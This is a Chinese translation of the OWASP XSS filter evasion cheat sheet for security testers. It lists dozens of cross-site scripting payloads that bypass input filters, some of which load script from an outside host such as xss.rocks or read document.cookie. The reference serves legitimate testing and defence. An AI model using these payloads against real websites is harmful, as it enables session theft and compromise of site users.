XSS過濾速查表(轉載)
寫在前面:
第一次翻譯長篇文件,如有疏漏還請各位大牛指正。OWASP的這篇速查表雖然時間比較久了,但還在更新,所以還是翻譯出來了。翻譯完發現裡面還是有一些值得借鑑的思路,用來漲知識還是可以的。由於篇幅較長,推薦各位可以收藏起來,用的時候再來查= ̄ω ̄=
1.介紹
這篇文章的主要目的是給專業安全測試人員提供一份跨站指令碼漏洞檢測指南。文章的初始內容是由RSnake提供給 OWASP,內容基於他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個網頁已經重定向到OWASP網站,將由OWASP維護和完善它。OWASP 的第一個防禦備忘錄專案:XSS (Cross Site Scripting)Prevention Cheat Sheet 靈感來源於 RSnake 的 XSS Cheat Sheet,所以我們對他給予我們的啟發表示感謝。我們想要去建立短小簡單的參考給開發者以便幫助他們預防 XSS漏洞,而不是簡單的告訴他們需要使用複雜的方法構建應用來預防各種千奇百怪的攻擊,這也是OWASP 備忘錄系列誕生的原因。
2.測試
這份備忘錄是為那些已經理解XSS攻擊,但是想要了解關於繞過過濾器方法之間細微差別的人準備的。
請注意大部分的跨站指令碼攻擊向量已經在其程式碼下方給出的瀏覽器列表中進行測試。
2.1. XSS定位器
在大多數存在漏洞且不需要特定XSS攻擊程式碼的地方插入下列程式碼會彈出包含“XSS”字樣的對話方塊。使用URL編碼器來對整個程式碼進行編碼。小技巧:如果你時間很緊想要快速檢查頁面,通常只要插入“<任意文字>”標籤,然後觀察頁面輸出是否明顯改變了就可以判斷是否存在漏洞:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
2.2. XSS定位器(短)
如果你沒有足夠的空間並且知道頁面上沒有存在漏洞的JavaScript,這個字串是一個不錯的簡潔XSS注入檢查。注入後檢視頁面原始碼並且尋找是否存在<XSS 或<XSS字樣來確認是否存在漏洞
”;!–”<XSS>=&{()}
2.3. 無過濾繞過
這是一個常規的XSS注入程式碼,雖然通常它會被防禦,但是建議首先去測試一下。(引號在任何現代瀏覽器中都不需要,所以這裡省略了它):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
2.4. 利用多語言進行過濾繞過
‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>
2.5. 通過JavaScript命令實現的圖片XSS
圖片注入使用JavaScript命令實現(IE7.0 不支援在圖片上下文中使用JavaScript 命令,但是可以在其他上下文觸發。下面的例子展示了一種其他標籤依舊通用的原理):
<IMG SRC=”javascript:alert(‘XSS’);”>
2.6. 無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
2.7. 不區分大小寫的XSS攻擊向量
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
2.8. HTML實體
必須有分號才可生效
<IMG SRC=javascript:alert("XSS")>
2.9. 重音符混淆
如果你的JavaScript程式碼中需要同時使用單引號和雙引號,那麼可以使用重音符(`)來包含JavaScript 程式碼。這通常會有很大幫助,因為大部分跨站指令碼過濾器都沒有過濾這個字元:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
2.10. 畸形的A標籤
跳過HREF標籤找到XSS的重點。。。由DavidCross提交~已在Chrome上驗證
<a onmouseover=”alert(document.cookie)”>xxs link</a>
此外Chrome經常幫你補全確實的引號。。。如果在這方面遇到問題就直接省略引號,Chrome會幫你補全在URL或指令碼中缺少的引號。
<a onmouseover=alert(document.cookie)>xxs link</a>
2.11. 畸形的IMG標籤
最初由Begeek發現(短小精湛適用於所有瀏覽器),這個XSS攻擊向量使用了不嚴格的渲染引擎來構造含有IMG標籤並被引號包含的XSS攻擊向量。我猜測這種解析原來是為了相容不規範的編碼。這會讓它更加難以正確的解析HTML標籤:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
2.12. fromCharCode函式
如果不允許任何形式的引號,你可以通過執行JavaScript裡的fromCharCode函式來建立任何你需要的XSS攻擊向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2.13. 使用預設SRC屬性繞過SRC域名過濾器
這種方法可以繞過大多數SRC域名過濾器。將JavaScript程式碼插入事件方法同樣適用於注入使用elements的任何HTML標籤,例如Form,Iframe, Input, Embed等等。它同樣允許將事件替換為任何標籤中可用的事件型別,例如onblur,onclick。下面會給出許多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)編輯。
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
2.14. 使用預設為空的SRC屬性
<IMG SRC= onmouseover=”alert(‘xxs’)”>
2.15. 使用不含SRC屬性
<IMG onmouseover=”alert(‘xxs’)”>
2.16. 通過error事件觸發alert
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
2.17. 對IMG標籤中onerror屬性進行編碼
<img src=x onerror=”javascript:alert('XSS')″>
2.18. 十進位制HTML字元實體編碼
所有在IMG標籤裡直接使用javascript:形式的XSS示例無法在Firefox或Netscape8.1以上瀏覽器(使用Gecko渲染引擎)執行。
<IMG SRC=javascript:alert(
'XSS')>
2.19. 不帶分號的十進位制HTML字元實體編碼
這對於繞過對“&#XX;”形式的XSS過濾非常有用,因為大多數人不知道最長可使用7位數字。這同樣對例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的過濾器有效,這種過濾器是錯誤的認為HTML字元實體編碼需要用分號結尾(無意中發現的):
<IMG SRC=javascript:a&
#0000108ert('XSS')>
2.20. 不帶分號的十六進位制HTML字元實體編碼
這是有效繞過例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;過濾器的方法。這種過濾器錯誤的認為#號後會跟著數字(十六進位制HTML字元實體編碼並非如此)
<IMG SRC=javascript:alert('XSS')>
2.21. 內嵌TAB
使用TAB來分開XSS攻擊程式碼:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2.22. 內嵌編碼後TAB
使用編碼後的TAB來分開XSS攻擊程式碼:
<IMG SRC=”jav	ascript:alert(‘XSS’);”>
2.23. 內嵌換行分隔XSS攻擊程式碼
一些網站聲稱09到13(十進位制)的HTML實體字元都可以實現這種攻擊,這是不正確的。只有09(TAB),10(換行)和13(回車)有效。檢視ASCII字元表獲取更多細節。下面幾個XSS示例介紹了這些向量。
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
2.24. 內嵌回車分隔XSS攻擊程式碼
注意:上面使用了比實際需要長的字串是因為0可以忽略。經常可以遇到過濾器解碼十六進位制和十進位制編碼時認為只有2到3位字元。實際規則是1至7位字元:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
2.25. 使用空字元分隔JavaScript指令
空字元同樣可以作為XSS攻擊向量,但和上面有所區別,你需要使用一些例如Burp工具或在URL字串裡使用%00,亦或你想使用VIM編寫自己的注入工具(^V^@會生成空字元),還可以通過程式生成它到一個文字檔案。老版本的Opera瀏覽器(例如Windows版的7.11)還會受另一個字元173(軟連字元)的影響。但是空字元%00更加有用並且能幫助繞過真實世界裡的過濾器,例如這個例子裡的變形:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
2.26. 利用IMG標籤中JavaScript指令前的空格和元字元
如果過濾器不計算”javascript:”前的空格,這是正確的,因為它們不會被解析,但這點非常有用。因為這會造成錯誤的假設,就是引號和”javascript:”字樣間不能有任何字元。實際情況是你可以插入任何十進位制的1至32號字元:
<IMG SRC=”  javascript:alert(‘XSS’);”>
2.27. 利用非字母非數字字元
FireFox的HTML解析器認為HTML關鍵詞後不能有非字母非數字字元,並且認為這是一個空白或在HTML標籤後的無效符號。但問題是有的XSS過濾器認為它們要查詢的標記會被空白字元分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>
基於上面的原理,可以使用模糊測試進行擴充套件。Gecko渲染引擎允許任何字元包括字母,數字或特殊字元(例如引號,尖括號等)存在於事件名稱和等號之間,這會使得更加容易繞過跨站指令碼過濾。注意這同樣適用於下面看到的重音符:
<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert(“XSS”)>
Yair Amit讓我注意到了IE和Gecko渲染引擎有一點不同行為,在於是否在HTML標籤和引數之間允許一個不含空格的斜槓。這會非常有用如果系統不允許空格的時候。
<SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT>
2.28. 額外的尖括號
由Franz Sedlmaier提交,這個XSS攻擊向量可以繞過某些檢測引擎,比如先查詢第一個匹配的尖括號,然後比較裡面的標籤內容,而不是使用更有效的演算法,例如Boyer-Moore演算法就是查詢整個字串中的尖括號和相應標籤(當然是通過模糊匹配)。雙斜槓註釋了額外的尖括號來防止出現JavaScript錯誤:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
2.29. 未閉合的script標籤
在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必須構造類似“></SCRIPT>”的跨站指令碼攻擊向量。Firefox假定閉合HTML標籤是安全的並且會為你新增閉合標記。多麼體貼!不像不影響Firefox的下一個問題,這不需要在後面有額外的HTML標籤。如果需要可以新增引號,但通常是沒有必要的,需要注意的是,我並不知道這樣注入後HTML會什麼樣子結束:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
2.30. script標籤中的協議解析
這個特定的變體是由Łukasz Pilorz提交的並且基於Ozh提供的協議解析繞過。這個跨站指令碼示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>標記在Opera中也可以。這在輸入空間有限的情況下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT標籤中不需要考慮編碼型別因為瀏覽器會自動識別。
<SCRIPT SRC=//xss.rocks/.j>
2.31. 只含左尖括號的HTML/JavaScript XSS向量
IE渲染引擎不像Firefox,不會向頁面中新增額外資料。但它允許在IMG標籤中直接使用javascript。這對構造攻擊向量是很有用的,因為不需要閉合尖括號。這使得有任何HTML標籤都可以進行跨站指令碼攻擊向量注入。甚至可以不使用”>”閉合標籤。注意:這會讓HTML頁面變得混亂,具體程度取決於下面的HTML標籤。這可以繞過以下NIDS正則:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因為不需要”>”閉合。另外在實際對抗XSS過濾器的時候,使用一個半開放的<IFRAME標籤替代<IMG標籤也是非常有效的。
<IMG SRC=”javascript:alert(‘XSS’)”
2.32. 多個左尖括號
使用一個左尖括號替代右尖括號作為標籤結尾的攻擊向量會在不同瀏覽器的Gecko渲染引擎下有不同表現。沒有左尖括號時,在Firefox中生效,而在Netscape中無效。
<iframe src=http://xss.rocks/scriptlet.html <
2.33. JavaScript雙重轉義
當應用將一些使用者輸入輸出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中時,你想注入你的JavaScript指令碼,你可以通過轉義轉義字元來規避伺服器端轉義引號。注入後會得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,這時雙引號不會被轉義並且可以觸發跨站指令碼攻擊向量。XSS定位器就用了這種方法:
\”;alert(‘XSS’);//
另一種情況是,如果內嵌資料進行了正確的JSON或JavaScript轉義,但沒有HTML編碼,那可以結束原有指令碼塊並開始你自己的:
</script><script>alert(‘XSS’);</script>
2.34. 閉合title標籤
這是一個簡單的閉合<TITLE>標籤的XSS攻擊向量,可以包含惡意的跨站指令碼攻擊:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
2.35. INPUT image
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
2.36. BODY image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
2.37. IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
2.38. IMG lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
2.39. List-style-image
處理嵌入的圖片列表是很麻煩的問題。由於JavaScript指令的原因只能在IE渲染引擎下有效。不是一個特別有用的跨站指令碼攻擊向量:
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>
2.40. 圖片中引用VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’>
2.41. Livescript (僅限舊版本Netscape)
<IMG SRC=”livescript:[code]">
2.42. SVG物件標籤
<svg/onload=alert('XSS')>
2.43. ECMAScript 6
Set.constructor`alert\x28document.domain\x29```
2.44. BODY標籤
這個方法不需要使用任何例如"javascript:"或"<SCRIPT..."語句來完成XSS攻擊。Dan Crowley特別提醒你可以在等號前加入一個空格("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')>
2.45. 事件處理程式
在XSS攻擊中可使用以下事件(在完稿的時候這是網上最全的列表了)。感謝ReneLedosquet的更新。
1. FSCommand() (攻擊者當需要在嵌入的Flash物件中執行時可以使用此事件)
2. onAbort() (當用戶中止載入圖片時)
3. onActivate() (當物件啟用時)
4. onAfterPrint() (使用者列印或進行列印預覽後觸發)
5. onAfterUpdate() (從資料來源物件更新資料後由資料物件觸發)
6. onBeforeActivate() (在物件設定為啟用元素前觸發)
7. onBeforeCopy() (攻擊者在選中部分拷貝到剪貼簿前執行攻擊程式碼-攻擊者可以通過執行execCommand("Copy")函式觸發)
8. onBeforeCut() (攻擊者在選中部分剪下到剪貼簿前執行攻擊程式碼)
9. onBeforeDeactivate() (在當前物件的啟用元素變化前觸發)
10. onBeforeEditFocus() (在一個包含可編輯元素的物件進入啟用狀態時或一個可編輯的物件被選中時觸發)
11. onBeforePaste() (在使用者被誘導進行貼上前或使用execCommand("Paste")函式觸發)
12. onBeforePrint() (使用者需要被誘導進行列印或攻擊者可以使用print()或execCommand("Print")函式).
13. onBeforeUnload() (使用者需要被誘導關閉瀏覽器-除非從父視窗執行,否則攻擊者不能關閉當前視窗)
14. onBeforeUpdate() (從資料來源物件更新資料前由資料物件觸發)
15. onBegin() (當元素週期開始時由onbegin 事件立即觸發)
16. onBlur() (另一個視窗彈出當前視窗失去焦點時觸發)
17. onBounce() (當marquee物件的behavior屬性設定為“alternate”且字幕的滾動內容到達視窗一邊時觸發)
18. onCellChange() (當資料提供者的資料變化時觸發)
19. onChange() (select,text, 或TEXTAREA欄位失去焦點並且值發生變化時觸發)
20. onClick() (表單中點選觸發)
21. onContextMenu() (使用者需要在攻擊區域點選右鍵)
22. onControlSelect() (當用戶在一個物件上建立控制元件選中區時觸發)
23. onCopy() (使用者需要複製一些東西或使用execCommand("Copy")命令時觸發)
24. onCut() (使用者需要剪下一些東西或使用execCommand("Cut")命令時觸發)
25. onDataAvailable() (使用者需要修改元素中的資料,或者由攻擊者提供的類似功能)
26. onDataSetChanged() (當資料來源物件變更導致資料集發生變更時觸發)
27. onDataSetComplete() (資料來源物件中所有資料可用時觸發)
28. onDblClick() (使用者雙擊一個表單元素或連結)
29. onDeactivate() (在啟用元素從當前物件轉換到父文件中的另一個物件時觸發)
30. onDrag() (在元素正在拖動時觸發)
31. onDragEnd() (當用戶完成元素的拖動時觸發)
32. onDragLeave() (使用者在拖動元素離開放置目標時觸發)
33. onDragEnter() (使用者將物件拖拽到合法拖曳目標)
34. onDragOver() (使用者將物件拖拽劃過合法拖曳目標)
35. onDragDrop() (使用者將一個物件(例如檔案)拖拽到瀏覽器視窗)
36. onDragStart() (當用戶開始拖動元素時觸發)
37. onDrop() (當拖動元素放置在目標區域時觸發)
38. onEnded() (在視訊/音訊(audio/video)播放結束時觸發)
39. onError() (在載入文件或影象時發生錯誤)
40. onErrorUpdate() (當從資料來源物件更新相關資料遇到錯誤時在資料繫結物件上觸發)
41. onFilterChange() (當濾鏡完成狀態變更時觸發)
42. onFinish() (當marquee完成滾動時攻擊者可以執行攻擊)
43. onFocus() (當視窗獲得焦點時攻擊者可以執行攻擊程式碼)
44. onFocusIn() (當元素將要被設定為焦點之前觸發)
45. onFocusOut() (攻擊者可以在視窗失去焦點時觸發攻擊程式碼)
46. onHashChange() (當錨部分發生變化時觸發攻擊程式碼)
47. onHelp() (攻擊者可以在使用者在當前窗體啟用時按下F1觸發攻擊程式碼)
48. onInput() (在 <input> 或 <textarea> 元素的值發生改變時觸發)
49. onKeyDown() (使用者按下一個鍵的時候觸發)
50. onKeyPress() (在鍵盤按鍵被按下並釋放一個鍵時觸發)
51. onKeyUp() (使用者釋放一個鍵時觸發)
52. onLayoutComplete() (使用者進行完列印或列印預覽時觸發)
53. onLoad() (攻擊者在視窗載入後觸發攻擊程式碼)
54. onLoseCapture() (可以由releaseCapture()方法觸發)
55. onMediaComplete() (當一個流媒體檔案使用時,這個事件可以在檔案播放前觸發)
56. onMediaError() (當用戶在瀏覽器中開啟一個包含媒體檔案的頁面,出現問題時觸發事件)
57. onMessage() (當頁面收到一個資訊時觸發事件)
58. onMouseDown() (攻擊者需要讓使用者點選一個圖片觸發事件)
59. onMouseEnter() (游標移動到一個物件或區域時觸發)
60. onMouseLeave() (攻擊者需要讓使用者游標移動到一個影象或表格然後移開來觸發事件)
61. onMouseMove() (攻擊者需要讓使用者將游標移到一個圖片或表格)
62. onMouseOut() (攻擊者需要讓使用者游標移動到一個影象或表格然後移開來觸發事件)
63. onMouseOver() (游標移動到一個物件或區域)
64. onMouseUp() (攻擊者需要讓使用者點選一個圖片)
65. onMouseWheel() (攻擊者需要讓使用者使用他們的滑鼠滾輪)
66. onMove() (使用者或攻擊者移動頁面時觸發)
67. onMoveEnd() (使用者或攻擊者移動頁面結束時觸發)
68. onMoveStart() (使用者或攻擊者開始移動頁面時觸發)
69. onOffline() (當瀏覽器從線上模式切換到離線模式時觸發)
70. onOnline() (當瀏覽器從離線模式切換到線上模式時觸發)
71. onOutOfSync() (當元素與當前時間線失去同步時觸發)
72. onPaste() (使用者進行貼上時或攻擊者可以使用execCommand("Paste")函式時觸發)
73. onPause() (在視訊或音訊暫停時觸發)
74. onPopState() (在視窗的瀏覽歷史(history 物件)發生改變時觸發)
75. onProgress() (攻擊者可以在一個FLASH載入時觸發事件)
76. onPropertyChange() (使用者或攻擊者需要改變元素屬性時觸發)
77. onReadyStateChange() (每次 readyState 屬性變化時被自動呼叫)
78. onRedo() (使用者返回上一頁面時觸發)
79. onRepeat() (事件在播放完重複播放時觸發)
80. onReset() (使用者或攻擊者重置表單時觸發)
81. onResize() (使用者改變視窗大小時,攻擊者可以自動以這種方法觸發:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (使用者完成改變窗體大小時觸發)
83. onResizeStart() (使用者開始改變窗體大小時觸發)
84. onResume() (當元素繼續播放時觸發)
85. onReverse() (當元素回放時觸發)
86. onRowsEnter() (使用者或攻擊者需要改變資料來源中的一行)
87. onRowExit() (使用者或攻擊者改變資料來源中的一行後退出時觸發)
88. onRowDelete() (使用者或攻擊者需要刪除資料來源中的一行)
89. onRowInserted() (user or attacker would needto insert a row in a data source)
90. onScroll() (使用者需要滾動或攻擊者使用scrollBy()函式)
91. onSeek() (當用戶在元素上執行查詢操作時觸發)
92. onSelect() (使用者需要選擇一些文字-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
93. onSelectionChange() (當用戶選擇文字變化時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
94. onSelectStart() (當用戶開始選擇文字時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
95. onStart() (在marquee 物件開始迴圈時觸發)
96. onStop() (當用戶按下停止按鈕或離開頁面時觸發)
97. onStorage() (當Web Storage更新時觸發)
98. onSyncRestored() (當元素與它的時間線恢復同步時觸發)
99. onSubmit() (需要使用者或攻擊者提交表單)
100.onTimeError() (使用者或攻擊者設定時間屬性出現錯誤時觸發)
101.onTrackChange() (使用者或攻擊者改變播放列表內歌曲時觸發)
102.onUndo() (使用者返回上一瀏覽記錄頁面時觸發)
103.onUnload() (使用者點選任意連結或按下後退按鈕或攻擊者強制進行點選時觸發)
104.onURLFlip() (當一個高階流媒體格式(ASF)檔案,由一個HTML+TIME(基於時間互動的多媒體擴充套件)媒體標籤播放時,可觸發在ASF檔案中內嵌的攻擊指令碼)
105.seekSegmentTime() (這是一個方法可以定位元素某個時間段內中的特定的點,並可以從該點播放。這個段落包含了一個重複的時間線,幷包括使用AUTOREVERSE屬性進行反向播放。)
2.46. BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
2.47. & JavaScript包含
<BR SIZE="&{alert('XSS')}">
2.48. 樣式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
2.49. 遠端樣式表
(利用像遠端樣式表一樣簡單的形式,你可以將XSS攻擊程式碼包含在可使用內建表示式進行重定義的樣式引數裡。)這隻在IE和使用IE渲染模式Netscape8.1+。注意這裡沒有任何元素在頁面中表明這頁面包含了JavaScript。提示:這些遠端樣式表都使用了body標籤,所以必須在頁面中有除了攻擊向量以外的內容存在時才會生效, 也就是如果是空白頁的話你必須在頁面新增一個字母來讓攻擊程式碼生效:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
2.50. 遠端樣式表2
這個和上面一樣有效,不過使用了<STYLE>標籤替代<LINK>標籤. 這個細微的變化曾經用來攻擊谷歌桌面。另一方面,如果在攻擊向量後有HTML標籤閉合攻擊向量,你可以移除末尾的</STYLE>標籤。在進行跨站指令碼攻擊時,如不能同時使用等號或斜槓,這是非常有用的,這種情況在現實世界裡不止一次發生了:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
2.51. 遠端樣式表3
這種方式僅在Opera 8.0(9.x不可以)中有效,但方法比較有創意. 根據RFC2616,設定一個Link頭部不是HTTP1.1規範的一部分,但一些瀏覽器仍然允許這樣做 (例如Firefox和 Opera). 這裡的技巧是設定一個頭部(和普通頭部並沒有什麼區別,只是設定Link: <http://xss.rocks/xss.css>; REL=stylesheet)並且在遠端樣式表中包含使用了JavaScript的跨站指令碼攻擊向量,這一點是FireFox不支援的:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
2.52. 遠端樣式表4
這僅能在Gecko渲染引擎下有效並且需要在父頁面繫結一個XML檔案。具有諷刺意味的是 Netscape認為Gecko更安全 ,所以對絕大多數網站來說會受到漏洞影響:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
2.53. 含有分隔JavaScript的STYLE標籤
這個XSS會在IE中造成無限迴圈:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
2.54. STYLE屬性中使用註釋分隔表示式
由Roman Ivanov建立
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
2.55. 含表示式的IMG STYLE
這是一個將上面XSS攻擊向量混合的方法,但確實展示了STYLE標籤可以用相當複雜的方式分隔,和上面一樣,也會讓IE進入死迴圈:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
2.56. STYLE標籤(僅舊版本Netscape可用)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
2.57. 使用背景影象的STYLE標籤
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
2.58. 使用背景的STYLE標籤
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
2.59. 含STYLE屬性的HTML任意標籤
IE6.0和IE渲染引擎模式下的Netscape 8.1+並不關心你建立的HTML標籤是否存在,只要是由尖括號和字母開始的即可:
<XSS STYLE="behavior: url(xss.htc);">
2.60. 本地htc檔案
這和上面兩個跨站指令碼攻擊向量有些不同,因為它使用了一個必須和XSS攻擊向量在相同伺服器上的.htc檔案。這個示例檔案通過下載JavaScript並將其作為style屬性的一部分執行來進行攻擊:
<XSS STYLE="behavior: url(xss.htc);">
2.61. US-ASCII編碼
US-ASCII編碼(由Kurt Huwig發現)。它使用了畸形的7位ASCII編碼來代替8位。這個XSS攻擊向量可以繞過大多數內容過濾器,但是隻在主機使用US-ASCII編碼傳輸資料時有效,或者可以自己設定編碼格式。相對繞過伺服器端過濾,這在繞過WAF跨站指令碼過濾時候更有效。Apache Tomcat是目前唯一已知使用US-ASCII編碼傳輸的:
¼script¾alert(¢XSS¢)¼/script¾
2.62. META
關於meta重新整理比較奇怪的是它並不會在頭部中傳送一個referrer-所以它通常用於不需要referrer的時候:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
2.62.1 使用資料的META
URL scheme指令。這個非常有用因為它並不包含任何可見的SCRIPT單詞或JavaScript指令,因為它使用了base64編碼.請檢視RFC 2397尋找更多細節。你同樣可以使用具有Base64編碼功能的XSS工具來編碼HTML或JavaScript:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
2.62.2 含有額外URL引數的META
如果目標站點嘗試檢查URL是否包含"http://",你可以用以下技術規避它(由Moritz Naumann提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
2.63. IFRAME
如果允許Iframe那就會有很多XSS問題:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
2.64. 基於事件IFRAME
Iframes和大多數其他元素可以使用下列事件(由David Cross提交):
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
2.65. FRAME
Frames和iframe一樣有很多XSS問題:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
2.66. TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
2.66.1. TD
和上面一樣,TD也可以通過BACKGROUND來包含JavaScriptXSS攻擊向量:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
2.67. DIV
2.67.1. DIV背景影象
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
2.67.2. 含有Unicode XSS利用程式碼的DIV背景影象
這進行了一些修改來混淆URL引數。原始的漏洞是由RenaudLifchitz在Hotmail發現的:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
2.67.3. 含有額外字元的DIV背景影象
Rnaske進行了一個快速的XSS模糊測試來發現IE和安全模式下的Netscape 8.1中任何可以在左括號和JavaScript指令間加入的額外字元。這都是十進位制的但是你也可以使用十六進位制來填充(以下字元可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
2.67.4. DIV表示式
一個非常有效的對抗現實中的跨站指令碼過濾器的變體是在冒號和"expression"之間新增一個換行:
<DIV STYLE="width: expression(alert('XSS'));">
2.68. html 條件選擇註釋塊
只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些網站認為在註釋中的任何內容都是安全的並且認為沒有必要移除,這就允許我們新增跨站指令碼攻擊向量。系統會在一些內容周圍嘗試添加註釋標籤以便安全的渲染它們。如我們所見,這有時並不起作用:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
2.69. BASE標籤
在IE和安全模式下的Netscape 8.1有效。你需要使用//來註釋下個字元,這樣你就不會造成JavaScript錯誤並且你的XSS標籤可以被渲染。同樣,這需要當前網站使用相對路徑例如"images/image.jpg"來放置影象而不是絕對路徑。如果路徑以一個斜槓開頭例如"/images/image.jpg"你可以從攻擊向量中移除一個斜槓(只有在兩個斜槓時註釋才會生效):
<BASE HREF="javascript:alert('XSS');//">
2.70. OBJECT標籤
如果允許使用OBJECT,你可以插入一個病毒攻擊載荷來感染使用者,類似於APPLET標籤。連結檔案實際是含有你XSS攻擊程式碼的HTML檔案:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
2.71. 使用EMBED標籤載入含有XSS的FLASH檔案
如果你添加了屬性allowScriptAccess="never"以及allownetworking="internal"則可以減小風險(感謝Jonathan Vanasco提供的資訊):
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
2.72. 使用EMBED SVG包含攻擊向量
該示例只在FireFox下有效,但是比上面的攻擊向量在FireFox下好,因為不需要使用者安裝或啟用FLASH。感謝nEUrOO提供:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
